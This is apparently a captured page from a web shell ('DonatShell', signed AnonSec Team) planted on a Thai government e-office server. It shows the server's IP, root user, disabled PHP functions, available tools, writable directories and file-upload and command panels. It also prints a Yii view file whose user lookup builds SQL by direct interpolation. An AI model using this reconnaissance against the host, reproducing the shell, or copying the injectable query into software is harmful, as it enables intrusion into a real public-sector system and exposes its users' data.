%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.149
Web Server : Apache/2.4.18 (Ubuntu)
System :
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,mail,shell_exec,system,proc_open,popen,ini_alter,dl,proc_close,curl_exec,curl_multi_exec,readfile,parse_ini_file,escapeshellarg,escapeshellcmd,show_source,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,mail,php_uname,phpinfo
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/eoffice/frontend/modules/circulardata/views/default/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/html/eoffice/frontend/modules/circulardata/views/default/view.php
<?php

use yii\helpers\Html;
use yii\widgets\DetailView;
use backend\modules\departments\models\Departments;
use backend\modules\circulardata\models\CircularReaded;
use dektrium\user\models\Profile;
use yii\db\Query;

/* @var $this yii\web\View */
/* @var $model backend\modules\circulardata\models\CircularData */
$this->title = 'หนังสือเวียนภายใน เลขที่หนังสือ : ' . $model->circular_num;
$this->params['breadcrumbs'][] = ['label' => 'Circular Datas', 'url' => ['index']];
$this->params['breadcrumbs'][] = $this->title;
?>
<div class="circular-data-view">
    <div class="m-portlet__body  m-portlet__body--no-padding">
        <div class="row m-row--no-padding m-row--col-separator-xl">
            <div class="col-md-6">
                <div style="text-align: center">
                    <?= Html::a('<i class="fa fa-home"> </i>', ['/site/index'], ['class' => 'btn btn-outline-danger m-btn m-btn--icon btn-lg m-btn--icon-only m-btn--pill m-btn--air']); ?>
                    <?= Html::a('<i class="fa fa-arrow-left"> </i>', ['/circulardata/default/index'], ['class' => 'btn btn-outline-accent m-btn m-btn--icon btn-lg m-btn--icon-only m-btn--pill m-btn--air']); ?>
                </div>
                <div class="m-widget1">
                    <h4>หนังสือเวียนภายใน จาก <?php
                        $department = Departments::find()->where(['id' => $model->circular_from])->one();
                        echo $department->name
                        ?>
                    </h4>
                    <?=
                    DetailView::widget([
                        'model' => $model,
                        'template' => '<tr><th width="100px">{label}</th><td>{value}</td></tr>',
                        'attributes' => [
                            [
                                'attribute' => 'circular_num',
                            ],
                            [
                                'attribute' => 'dateon',
                                'value' => function ($model) {
                                    return Yii::$app->thaiFormatter->asDateTime($model->dateon, 'php:วันที่ d F Y');
                                },
                            ],
                            [
                                'attribute' => 'subject',
                                'format' => 'html',
                                'value' => function ($model) {
                                    return '<span style="font-weight: bold;color: blue;">' . $model->subject . '</span>';
                                },
                            ],
                            [
                                'attribute' => 'circular_to',
                                'format' => 'html',
                                'value' => function ($model) {
                                    $array = explode(",", $model->circular_to);
                                    if (count($array) == 10) {
                                        return '<span style="font-weight: bold;color: red;">ทุกหน่วยงาน</span>';
                                    } else {
                                        return $model->circular_to;
                                    }
                                },
                            ],
                            [
                                'attribute' => 'circular_from',
                                'value' => function ($model) {
                                    $department = Departments::find()->where(['id' => $model->circular_from])->one();
                                    return $department->name;
                                },
                            ],
                            [
                                'attribute' => 'filename',
                                'format' => 'raw',
                                'value' => function ($model) {
                                    if ($model->filename !== "") {
                                        return Html::a('ดาวน์โหลด', '@back/files/' . $model->filename, [
                                                    'target' => '_blank',
                                        ]);
                                    } else {
                                        return 'ไม่มีไฟล์เอกสาร';
                                    }
                                },
                            ],
                            'comment:ntext',
                            [
                                'attribute' => 'user_id',
                                'value' => function ($model) {
//                                        $modeluser = Profile::find()->where(['user_id' => $model->user_id])->one();
                                    $connection = \Yii::$app->db;
                                    $modelsql = $connection->createCommand("SELECT * FROM profile where user_id=$model->user_id");
                                    $users = $modelsql->queryOne();
                                    return $users['name'];
                                },
                            ],
//                                'readed',
                            [
                                'attribute' => 'created_at',
                                'value' => function ($model) {
                                    return Yii::$app->thaiFormatter->asDateTime($model->created_at, 'php:วันที่ d F Y เวลา H:i ณ');
                                },
                            ],
                            [
                                'attribute' => 'updated_at',
                                'value' => function ($model) {
                                    return Yii::$app->thaiFormatter->asDateTime($model->updated_at, 'php:วันที่ d F Y เวลา H:i ณ');
                                },
                            ],
                        ],
                    ])
                    ?>
                </div>
                <div class="m-widget1">
                    <table id="w0" class="table table-striped table-bordered detail-view">
                        <tbody>
                            <tr style="text-align:center;">
                                <th width="300px" style="font-weight: bold">หน่วยงาน</th>
                                <th style="font-weight: bold" colspan="2">สถานะการรับทราบ</th>
                            </tr>
                            <?php
                            $rows = explode(",", $model->circular_to);
                            $i = 0;
                            $a = 1;
                            foreach ($rows as $row) {
                                ?>
                                <tr>
                                    <td width="300px"><?= $rows[$i] ?></td>
                                    <td width="50px" style="text-align: center;color: red;">
                                        <?php
                                        $reader = CircularReaded::find()->where(['id' => $model->id])->one();
                                        $rowname = Departments::find()->where(['name' => $rows[$i]])->one();
                                        if ($rows[$i] == $rowname->name AND $reader['department' . $rowname->id] == 1) {
                                            echo '<i class="fa fa-check"></i>';
                                        }
                                        ?>
                                    </td>
                                    <td style="text-align: center;color: red;">
                                        <?php
                                        if ($rows[$i] == $rowname->name AND $reader['department' . $rowname->id] == 1) {
                                            echo 'รับทราบแล้ว';
                                        }
                                        ?>
                                    </td>
                                </tr>
                                <?php
                                $i++;
                                $a++;
                            }
                            ?>
                        </tbody>
                    </table>
                </div>
            </div>
            <div class="col-md-6">
                <div class="m-widget1">
                    <?php
                    if ($model->filename !== "") {
                        $file = pathinfo($model->filename);
                        if ($file['extension'] == 'jpg' or $file['extension'] == 'jpeg' or $file['extension'] == 'png') {
                            echo Html::img('@back/files/' . $model->filename, ['class' => 'img-fluid']);
                        } else {
                            ?>
                            <object data="http://eoffice.ppao.go.th/files/<?= $model->filename ?>" type="application/pdf" width="100%" height="1000px"></object>
                            <?php
                        }
                    } else {
                        echo Html::img('@back/images/nodoc.png', ['class' => 'img-fluid']);
                    }
                    ?>
                </div>
            </div>
        </div>
    </div>
</div>

Anon7 - 2022
AnonSec Team